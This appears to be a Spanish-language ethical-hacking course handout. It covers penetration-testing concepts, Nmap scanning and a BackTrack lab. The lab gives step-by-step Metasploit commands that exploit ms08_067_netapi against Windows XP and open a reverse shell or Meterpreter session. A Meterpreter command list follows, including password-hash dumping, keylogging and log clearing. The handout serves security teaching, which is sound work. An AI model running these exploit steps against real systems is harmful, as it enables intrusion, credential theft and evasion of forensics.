FUNDAMENTOS DE SEGURIDAD y HACKING ETICO...
Transcript of FUNDAMENTOS DE SEGURIDAD y HACKING ETICO...
FUNDAMENTOS DE SEGURIDAD y HACKING ETICO
Profesor: Luis Alfonso Jiménez Piedrahita
Seguridad en Redes PenTesting
Test de Intrusión:
Test de Intrusión, también llamado a veces “hacking ético” es
una evaluación activa de las medidas de seguridad de la
información.
En los entornos de red complejos actuales, la exposición
potencial al riesgo es cada vez mayor y poner seguro los
sistemas se convierten en un auténtico reto.
A través del Test de Intrusión es posible detectar el nivel de
Seguridad Interna y Externa de los Sistemas de Información
de la empresa, determinando el grado de acceso que tendría
un atacante con intenciones maliciosas. Además, el servicio chequea las vulnerabilidades que pueden ser
vistas y explotadas por individuos no autorizados, “crackers”, agentes de información, ladrones, antiguos
empleados, competidores, etc.
Los servicios de Test de Intrusión permiten:
- Evaluar vulnerabilidades por medio de la identificación de debilidades de configuración que puedan ser
explotadas.
- Analizar y categorizar las debilidades explotables basadas en el impacto potencial y posibilidad de
ocurrencia.
- Proveer recomendaciones priorizadas para mitigar y eliminar las debilidades.
El Test de Intrusión está dirigido a la búsqueda de agujeros de seguridad de forma focalizada en uno o
varios recursos críticos, como puede ser el firewall o el servidor Web.
BackTrack:
BackTrack es una distribución GNU/Linux en formato LiveCD pensada y diseñada para la auditoría de
seguridad y relacionada con la seguridad informática en general. Actualmente tiene una gran popularidad y
aceptación en la comunidad que se mueve en torno a la seguridad informática.
Deriva de la unión de dos grandes distribuciones orientadas a la seguridad, el Auditor + WHAX. WHAX es la
evolución del Whoppix,(WhiteHat Knoppix) el cual pasó a basarse en SLAX en lugar de en Knoppix. Incluye
larga lista de herramientas de seguridad listas para usar, entre las que destacan numerosos scanners de
puertos y vulnerabilidades, archivos de exploits, sniffers, herramientas de análisis forense y herramientas
para la auditoría Wireless. Fue incluida en la famosa lista Top 100 Network Security Tools del 2006
disponible en SecTools.Org
Test de Intrusión para Auditoria
FUNDAMENTOS DE SEGURIDAD y HACKING ETICO
Profesor: Luis Alfonso Jiménez Piedrahita
Seguridad en Redes PenTesting
Este tipo de intrusiones se denomina participativas porque el usuario final colabora con el proceso, es
decir, de entrada sabemos el usuario y contraseña del equipo al cual vamos a realizarle la auditoria.
Elementos a utilizar:
VirtualBox
Maquinas Virtuales con Linux BackTrack y Windows XP
Red entre los equipos
Procedimiento
1. Iniciamos los dos equipos virtuales, BackTrack y wXp
2. Configuramos las tarjetas de red en ambos equipos para formar una red privada entre ellos.
(Recomendado).
Desde Backtrack
- Abrimos una ventana de terminal
- Escribimos el comando ifconfig –a para verificar el adaptador por el cual esta conectado
Backtrack
FUNDAMENTOS DE SEGURIDAD y HACKING ETICO
Profesor: Luis Alfonso Jiménez Piedrahita
Seguridad en Redes PenTesting
En este caso, vemos que el BackTrack esta utilizando el adaptador cero (eth0), sabiendo esto,
procedemos a configurar la tarjeta de red con la IP de nuestra red privada.
- Editamos el archivo de configuración de la tarjeta de rede de backtrack, utilizando la siguiente
instrucción
nano /etc/network/interfaces
FUNDAMENTOS DE SEGURIDAD y HACKING ETICO
Profesor: Luis Alfonso Jiménez Piedrahita
Seguridad en Redes PenTesting
Nos ubicamos en el adaptador respectivo de nuestro archivo de configuración y realizamos los
siguientes cambios.
auto eth0 iface etho0 inet static address 192.168.10.100 netmask 255.255.255.0
- Guardamos el archivo y reiniciamos la tarjeta de red, con el siguiente comando
/etc/init.d/networking restart
FUNDAMENTOS DE SEGURIDAD y HACKING ETICO
Profesor: Luis Alfonso Jiménez Piedrahita
Seguridad en Redes PenTesting
3. Verificamos que las dos maquinas se vean… desde cada uno de los equipos utilizamos el comando
PING para realizar esto.
Desde BackTrack
- Abrimos una ventana de terminal
- Escribimos el comando PING seguido de la IP de la maquina wXP
Desde Windows Xp
FUNDAMENTOS DE SEGURIDAD y HACKING ETICO
Profesor: Luis Alfonso Jiménez Piedrahita
Seguridad en Redes PenTesting
- Iniciamos una ventana de comandos
- Escribimos el comando PING seguido de la IP de la maquina con Backtrack
Nota: en caso de fallar el comando ping, debemos verificar las conectividades o configuraciones de redes.
4. Realizamos la instrusion aWindows Xp
Desde backtrack
- Iniciamos una ventana de terminal y escribimos el comando msfconsole y esperamos.
FUNDAMENTOS DE SEGURIDAD y HACKING ETICO
Profesor: Luis Alfonso Jiménez Piedrahita
Seguridad en Redes PenTesting
La ventana de presentación puede variar, cada vez que iniciamos el aplicativo de los metasploit(*), se
presenta una imagen diferente.
- Acá escribimos el siguiente comando con el fin iniciar el exploit(*) para aprovechar la vulnerabilidad
de Windows ms08_067_netapi que aprovecha que el puerto 445 esta abierto.
Use exploit/Windows/smb/ms08_067_netapi
FUNDAMENTOS DE SEGURIDAD y HACKING ETICO
Profesor: Luis Alfonso Jiménez Piedrahita
Seguridad en Redes PenTesting
- Luego debemos indicar la direccion IP de nuestro objetivo así como el puerto que vamos a analizar, en este caso Windows Xp.
Set RHOST 192.168.10.200 Set RPOST 445
- Luego especificamos los datos nuestros, en este caso la IP de BackTrack Set LHOST 192.168.10.100 El puerto no es necesario, ya que se utiliza por defecto el 4444.
- Seguido de esto, especificamos el PAYLOAD a utilizar, puede ser SHELL o METERPRETER.
set PAYLOAD windows/shell/reverse_tcp ó set PAYLOAD windows/meterpreter/reverse_tcp
Al final podemos ver toda la configuración utilizando el comando show options, vemos entonces nuestro objetivo y los datos del BackTrack
FUNDAMENTOS DE SEGURIDAD y HACKING ETICO
Profesor: Luis Alfonso Jiménez Piedrahita
Seguridad en Redes PenTesting
5. Ejecutamos el exploit, si todo sale bien debe salir la siguiente ventana al utilizar el payload Shell.
En caso de utilizar el payload meterpreter, sale la siguiente ventana con algunas variaciones en los mensajes
FUNDAMENTOS DE SEGURIDAD y HACKING ETICO
Profesor: Luis Alfonso Jiménez Piedrahita
Seguridad en Redes PenTesting
Nmap Es un scanner de información sobre servidores, y, aunque su principal utilidad es la de un scanner de puertos tiene opciones de reconocedor de sistemas operativos con la opción –O, El escaneo de sistemas operativos que realiza nmap no solo se queda en Windows, Linux, etc.. .sino es capaz de detectar impresoras de red, centralitas PBX, o teléfonos IP. Para realizar esta detección cuenta con una enorme base de datos para hacer una detección entre miles, repito miles, de sistemas operativos (Windows Server NT, Windows NT Workstation SP4, Windows NT SP6, todos los sabores de Linux, etc…) Scaneo con Nmap Nmap, realiza el escaneo de establecimiento de conexiones (como si hiciéramos un telnet) que se llama TCP connect(), de SYN (o de conexiones medio abiertas, ya que se envía un paquete SYN a un puerto y se espera la confirmación por parte del cliente sin nunca cerrar la conexión), de FIN, de NULL y de XMAS Tree. Para los puertos UDP implementa un sistema basado en el envío de mensajes UDP a un puerto de 0 bytes de tamaño. Si se recibe un mensaje ICMP que dice que es inalcanzable entonces es que el puerto está cerrado, por el contrario se asume que está abierto. Este tipo de escaneo, como muchos de los anteriores puede tener un alto índice de falsos positivos debido a que puede que el firewall prohíba todo tráfico ICMP de salida o que se haya perdido la respuesta. Los puertos del sistema El siguiente paso, que en un escaneo rápido se realiza al mismo tiempo, es la detección de puertos abiertos en un sistema. A priori que un puerto esté abierto no es ni malo ni bueno. Un puerto se abre para dar servicio. El problema es cuando se abre un puerto que conecta con una aplicación o servicio que no está securizado o que realmente el administrador ignora que lo tiene abierto en una máquina. Desde el punto de vista de un test de intrusión hay que ver a que servicios se puede llegar.
FUNDAMENTOS DE SEGURIDAD y HACKING ETICO
Profesor: Luis Alfonso Jiménez Piedrahita
Seguridad en Redes PenTesting
Detectar un puerto TCP abierto debería ser tan fácil como establecer una conexión con dicho servicio; para ello bastaría con establecer una conexión con un simple telnet, que, además, nos mostrará la información por pantalla que el servicio o aplicación al otro lado del puerto está enviando. El problema radica en las alarmas que se activen o la información que se deje en los logs cuando se produce el scaneo, hay que tener en cuenta que el número de puertos posibles es de 65536 puertos que pueden ser TCP o UDP. Lo más probable es que un firewall deje de responder a una determinada IP cuando se haya producido más de un número de peticiones de conexión desde una determinad ip, o cuando se han pedido más de un número por unidad de tiempo, o cuando hay una violación de protocolo (comando no valido que suele denotar que un servicio está hablando con un ser humano detrás de un telnet y que ha cometido un error al teclear o en el comando), etc…. El objetivo de los métodos de escaneo es averiguar todos los puertos que se encuentran ofreciendo servicio por TCP/UDP sin levantar alarmas y dejar el menor rastro posible. Exploit (del inglés to exploit, explotar o aprovechar) es una pieza de software, o una secuencia de comandos con el fin de causar un error o un fallo en alguna aplicación, a fin de causar un comportamiento no deseado o imprevisto en los programas informáticos, hardware, o componente electrónico (por lo general computarizado). Con frecuencia, esto incluye cosas tales como la toma de control de un sistema de cómputo o permitir la escalada de privilegios o un ataque de denegación de servicio. El fin del Exploit puede ser violar las medidas de seguridad para poder acceder al mismo de forma no autorizada y emplearlo en beneficio propio o como origen de otros ataques a terceros. Los Exploits pueden ser escritos empleando una diversidad de lenguajes de programación, aunque mayoritariamente se suele utilizar lenguaje C. También puede aprovecharse de distintos tipos de ataques tales como desbordamiento de búfer, Cross Site Scripting, Format Strings, Inyección SQL, entre otros. Una de las herramientas más utilizadas para trabajar con este tipo de software es Metasploit Framework, una plataforma de test de penetración escrita en lenguaje de programación Ruby, como así también otros frameworks como Core Impact, Canvas, entre otros. Comandos del Meterpreter meterpreter > help Command Description ? Help menu background Backgrounds the current session channel Displays information about active channels close Closes a channel exit Terminate the meterpreter session help Help menu interact Interacts with a channel irb Drop into irb scripting mode migrate Migrate the server to another process quit Terminate the meterpreter session read Reads data from a channel
FUNDAMENTOS DE SEGURIDAD y HACKING ETICO
Profesor: Luis Alfonso Jiménez Piedrahita
Seguridad en Redes PenTesting
run Executes a meterpreter script use Load a one or more meterpreter extensions write Writes data to a channel Stdapi: File system Commands ============================ Command Description ------- ----------- cat Read the contents of a file to the screen cd Change directory del Delete the specified file download Download a file or directory edit Edit a file getlwd Print local working directory getwd Print working directory lcd Change local working directory lpwd Print local working directory ls List files mkdir Make directory pwd Print working directory rm Delete the specified file rmdir Remove directory upload Upload a file or directory Stdapi: Networking Commands =========================== Command Description ------- ----------- ipconfig Display interfaces portfwd Forward a local port to a remote service route View and modify the routing table Stdapi: System Commands ======================= Command Description ------- ----------- clearev Clear the event log execute Execute a command getpid Get the current process identifier getuid Get the user that the server is running as kill Terminate a process ps List running processes reboot Reboots the remote computer reg Modify and interact with the remote registry rev2self Calls RevertToSelf() on the remote machine shell Drop into a system command shell shutdown Shuts down the remote computer sysinfo Gets information about the remote system, such as OS Stdapi: User interface Commands =============================== Command Description ------- ----------- enumdesktops List all accessible desktops and window stations idletime Returns the number of seconds the remote user has been idle keyscan_dump Dump they keystroke buffer keyscan_start Start capturing keystrokes keyscan_stop Stop capturing keystrokes setdesktop Move to a different workstation and desktop
FUNDAMENTOS DE SEGURIDAD y HACKING ETICO
Profesor: Luis Alfonso Jiménez Piedrahita
Seguridad en Redes PenTesting
uictl Control some of the user interface components Priv: Password database Commands ================================ Command Description ------- ----------- hashdump Dumps the contents of the SAM database Priv: Timestomp Commands ======================== Command Description ------- ----------- timestomp Manipulate file MACE attributes